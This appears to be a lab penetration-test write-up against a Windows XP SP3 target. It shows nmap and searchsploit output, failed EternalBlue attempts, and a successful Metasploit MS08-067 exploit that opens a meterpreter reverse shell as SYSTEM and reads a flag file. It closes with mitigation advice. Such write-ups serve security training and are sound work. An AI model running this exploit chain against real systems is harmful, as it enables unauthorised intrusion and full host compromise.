README.MD

Pentest 1 - 83 - John - 10.14.1.83

Table of Contents

Introduction

Testing Environment

- Kali Linux
- Nmap, Searchsploit, Metasploit
- Methodology
    - Scan, Enumerate Services, Evaluate Vulnerabilities, Attempt to Exploit, Escalate Permissions

Attack Narrative

Started off scanning

```
sudo nmap -sS 10.14.1.83

Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-25 19:55 EDT
Nmap scan report for 10.14.1.83
Host is up (0.15s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
```

```
Nmap done: 1 IP address (1 host up) scanned in 2.56 seconds


sudo nmap -sV -O 10.14.1.83
Host is up (0.19s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP3
Network Distance: 2 hops
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:micros
```

I see RPC, RDP, and SMB were open and the system is usingMicrosoft Windows XP SP3. This suggests to me that the latest SMB version supported is 1.0/1.1

There are a number of exploits for Windows XP; I began to evaluate for SMB vulnerabilities.

```
sudo nmap -p 139,445 --script=smb-vuln* 10.14.1.83
Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-25 20:06 EDT
Nmap scan report for 10.14.1.83
Host is up (0.24s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers
|           code via a crafted RPC request that triggers the overflow during path ca
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
```

```
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wa
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
```

From the results, I conclude it is vulnerable to `smb-vuln-ms08-067` and `smb-vuln-ms17-010`

Next I wanted to see what searchsploit had for these vulnerabilities:

```
Checking searchsploit for these:
searchsploit ms17-010
------------------------------------------------------------------- -----------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- -----------------
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalCha | windows/remote/4
**Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010)  | windows/dos/41
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execu | windows/remote/4
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' S | windows/remote/4
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote  | windows_x86-64/r
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remo | windows_x86-64/r


searchsploit ms08-067
------------------------------------------------------------------- -----------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- -----------------
Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08- | windows/remote/4
Microsoft Windows Server - Code Execution (MS08-067)              | windows/remote/7
Microsoft Windows Server - Code Execution (PoC) (MS08-067)        | windows/dos/6824
Microsoft Windows Server - Service Relative Path Stack Corruption | windows/remote/1
Microsoft Windows Server - Universal Code Execution (MS08-067)    | windows/remote/6
```

```
Microsoft Windows Server 2000/2003 - Code Execution (MS08-067)    | windows/remote/7
------------------------------------------------------------------ ----------------
```

Attack 1 (`smb-vuln-ms17-010`)

Description

I started off attempting smb-vuln-ms17-010 as I believed EternalBlue to be more likely to succeed. My first attempt was unsuccessful as I cchose the wrong exploit -

```
msf6 > search ms17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Des
   -  ----                                      ---------------  ----     -----  ---
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS1
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS1
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS1
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS1
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB

Use 4

msf6 exploit(windows/smb/smb_doublepulsar_rce) > show options

Module options (exploit/windows/smb/smb_doublepulsar_rce):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rap
                                      -framework/wiki/Using-Metasploit
   RPORT   445              yes       The SMB service port (TCP)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, p
   LHOST                      yes       The listen address (an interface may be spec
   LPORT     4444             yes       The listen port


Exploit target:
```

```
   Id  Name
   --  ----
   0   Execute payload (x64)


msf6 exploit(windows/smb/smb_doublepulsar_rce) > set lhost ppp0
lhost => 172.16.4.1
msf6 exploit(windows/smb/smb_doublepulsar_rce) > set rhost 10.14.1.83
rhost => 10.14.1.83

msf6 exploit(windows/smb/smb_doublepulsar_rce) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.83:445 - Sending ping to DOUBLEPULSAR
[-] 10.14.1.83:445 - DOUBLEPULSAR not detected or disabled
[-] 10.14.1.83:445 - Exploit aborted due to failure: not-vulnerable: Unable to proce
[*] Exploit completed, but no session was created.
```

From here, I attempted a different version, also to no avail, as the target was x86.

```
search MS17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Des
   -  ----                                      ---------------  ----     -----  ---
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS1
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS1
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS1
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS1
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB


Interact with a module by name or index. For example info 4, use 4 or use exploit/wi

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.
                                             asploit-framework/wiki/Using-Metasploit
```

```
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use fo
                                             on. Only affects Windows Server 2008 R2
                                             indows Embedded Standard 7 target machi
   SMBPass                         no        (Optional) The password for the specifi
   SMBUser                         no        (Optional) The username to authenticate
   VERIFY_ARCH    true             yes       Check if remote architecture matches ex
                                             Only affects Windows Server 2008 R2, Wi
                                             ws Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Targ
                                             ts Windows Server 2008 R2, Windows 7, W
                                             d Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, p
   LHOST     172.16.4.1       yes       The listen address (an interface may be spec
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.14.1.83
RHOST => 10.14.1.83
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.83:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.14.1.83:445        - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86
[*] 10.14.1.83:445        - Scanned 1 of 1 hosts (100% complete)
[+] 10.14.1.83:445 - The target is vulnerable.
[-] 10.14.1.83:445 - Exploit aborted due to failure: no-target: This module only sup
[*] Exploit completed, but no session was created.
```

My last attempt was succesful , choosing to use MS08_067 instead.

```
search ms08-067

Matching Modules
```

```
================

   #  Name                                  Disclosure Date  Rank   Check  Descriptic
   -  ----                                  ---------------  ----   -----  ----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 M


Interact with a module by name or index. For example info 0, use 0 or use exploit/wi

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/ra
                                       t-framework/wiki/Using-Metasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, p
   LHOST     172.16.4.1       yes       The listen address (an interface may be spec
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.83:445 - Automatically detecting the target...
[*] 10.14.1.83:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.14.1.83:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.14.1.83:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.14.1.83
[*] Meterpreter session 1 opened (172.16.4.1:4444 -> 10.14.1.83:1031 ) at 2023-07-25

meterpreter > getpid
```

```
Current pid: 1012
meterpreter > ps 1012
 1012  680   svchost.exe      x86   0        NT AUTHORITY\SYSTEM        C:\WINDOWS\S
                                                                       t.exe
meterpreter > shell
Process 412 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd C:\Documents and Settings\Administrator\Desktop

C:\Documents and Settings\Administrator\Desktop>type key.txt
type key.txt
hbbja4okjkr1hamuycb
```

Impact

I was able to gain `NT AUTHORITY\SYSTEM` which is root for Windows. From here, I could gain persistence, pivot to other internal systems, or any other malicious activities like installing ransomware.

Mitigation

Windows XP has been EOL for many years and SMB for anything but the newest systems is simply insecure. Initial recommendation would be to sunset / deprecate the Windows XP system. If that cannot be done, disabling SMB for this server would be the next step.

Conclusion

Overall, XP is vastly insecure and outdated due to its status as EOL. It has not been supported for years, and is a severe risk to keep / maintain on the network, as many of the vulnerabilities exist unpatched.